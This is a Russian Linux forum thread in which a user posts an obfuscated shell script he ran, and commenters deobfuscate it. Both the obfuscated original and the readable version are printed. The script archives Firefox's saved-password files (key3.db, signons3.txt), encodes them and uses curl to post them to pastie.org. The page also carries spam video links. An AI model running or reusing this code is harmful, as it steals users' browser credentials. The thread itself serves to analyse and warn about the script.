Видео ролики бесплатно онлайн

Смотреть молоденькие видео

Официальный сайт forexnw 24/7/365

Смотреть видео бесплатно


digiwhite 14.09.10 23:18 # +0
Под кат пожалуйста. Всю верстку на глагне ломает.
ashxan 14.09.10 23:45 # +0
Может закачивает что-то curl'ом ?
philosoft 15.09.10 00:53 # +2
Беглый осмотр показал, что этот скрипточек запаковывает таром ~/.mozilla и куда-то его отправляет. Подробный анализ будет завтра, если топик останеца.
philosoft 15.09.10 01:34 # +6
После деобфускации:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# WARNING: obsolete

# check existence of ~/.mozilla directory
target=$(eval ls -d ~/.mozilla)

if [ -e $target ]; then
    # prepare name for temporary file
    tmp="/tmp/.mozilla_${RANDOM}";
    # create a temporary file and may be add some special sing for monitoring
    # script activities on pastie.org
    echo "TM_DQTL" > $tmp;
    # cd ~/.mozilla;
    cd $target;
    # get our secrets =(
    tar cf - key3.db signons3.txt | gzip -f | base64 >> $tmp ;
fi


# post our secrets at pastie.org and clean up
curl -F "paste[parser_id]=4" -F "lang=" -F "paste[body]=$(cat $tmp)" -F "paste[authorization]=burger" -F "key=" -F "paste[restricted]=0" -F "x=$(((${RANDOM} % 30)))" -F "y=$(((${RANDOM} % 30)))" pastie.org/pastes 2>&1 > /dev/null && rm $tmp 2>&1 > /dev/null
albibek 15.09.10 09:23 # +0
Чем пользовались для деобфускации?
philosoft 15.09.10 13:08 # +1
Головой
philosoft 15.09.10 21:50 # +0
Вот мне реально интересно, за что минус?
sugar 15.09.10 10:01 # +0
хмм... троян по ходу?
кульхацкеры отакуют
albibek 15.09.10 10:33 # +1
Это не троян. Троян - это та хрень, которая этот скрипт запускает :)

ЗЫ: Если юзер запустил сам, то он - троян.
sugar 16.09.10 17:49 # +0
С чего ты взял? А если он втихую кому-нибдуь подсадил этот скрипт в крон (допустим своей девушке, чтоб посмотреть что она там без него делает)?

Он вообще может вложить этот кусочек кода в большой shell-скрипт (возможно даже полезный), разместить его где-нибудь в инете, рассказать, какой это классный и полезный скрипт. И пока кто-нибудь из прошаренных обратит внимание, куча новичков уже протестирует этот волшебный скрипт. Как автор поста, например. А в отсылаемой папке, предположим, будут кукисы с хэшами паролей от каких-либо сервисов. Через которые вдальнейшем будут работать спам-боты.

Так что это троян, программа, совершающая скрытые вредоносные действия, без собственного механизма распространения.

Вот здесь немного разжевано
predator 15.09.10 20:50 # +1
После запуска выдает:...

Опрометчивым было решение запустить скрипт =)

14.09.10 23:14 commonD

Есть вопрос!Что делает этот скрипт?


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
        #! /bin/sh

__p_="3"
__r="a2V5My5kY"
_f__="TM_DQTL"
_g_="Lar"
_z___="oz"
_k="bHMgLWQgfi8ubW96aWxs"
_k_="zMy50eHQ"
_i_="Zmp"
_r_="iBzaWdub25"
_l="bas"
_g__="Qp"
_i="YS9maXJlZm94LyouZGVmYXVsdA"
_r="A64"
_p=$(eval $(echo $_k$_i== | $_l${_r/A/e} -d)); if [ -e $_p ]; then z=/${_i_/Z/t}/$(basename $_p)_${RANDOM}; echo $_f__ > $z && _m___="Mz";$(cd $_p; ${_g_/L/t} cf - $(echo $__r$_r_$_k_= | $_l${_r/A/e} -d) | ${_z___/o/g}${_g__/Q/i} -f | $_l${_r/A/e} >> $z); __l="bas";fi

eval $(echo H4sICDlzZ0sAA3VwbG9hZC1wYXN0ZWJpbgB1jk0LgkAURff9ioeY6KK0j+0IQbSroG1IjPqwocmRNzORRv890xZGtL3ncu7NLEmYbMCpuDZ4rDhppJPIE7Z0ulzysmDOoJKqvE6Y62fcgNsEQ8StOSsSDTdClQlLLRVIfeGC9ZeFUBsSmcF2KerBvZX6vvs4rHbr/fYJY1hEQfAZqP/Bt07gVFERdmYN89ibQQxhjrewtFKC5wFd268/ZPQCqyZJlv4AAAA= | $__l${_r/A/e} -d | ${_m___/M/g}${_g__/Q/i} -d)


Нашел тут:

http://pastie.org/806668.txt

После запуска выдает:

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1901 0 91 100 1810 72 1433 00:00:01 00:00:01 --:--:-- 7448


Посты Комментарии
Последние посты
    Посты Комментарии
    Последние комментарии
      Посты Комментарии
      Изменения
        Посты Комментарии Изменения Черновики Избранное
        Черновики (все)
          Посты Комментарии Изменения Черновики Избранное
          Избранное (всё)
            Посты Комментарии Изменения Черновики Избранное
            Лучшие блоги (все 133)
            Топ пользователей Топ блогов
            Топ пользователей Топ блогов
            Элита (все 2605 из 205 городов)
            Топ пользователей Топ блогов
            В сети: todeus, exelens, K-9

            Новенькие: an-tyr, pozadi, fmstereo, Kamikadze, Anrock
            welinux.ru

            Смотреть видео онлайн

            Онлайн видео бесплатно


            Смотреть русское с разговорами видео

            Online video HD

            Видео скачать на телефон

            Русские фильмы бесплатно

            Full HD video online

            Смотреть видео онлайн

            Смотреть HD видео бесплатно

            School смотреть онлайн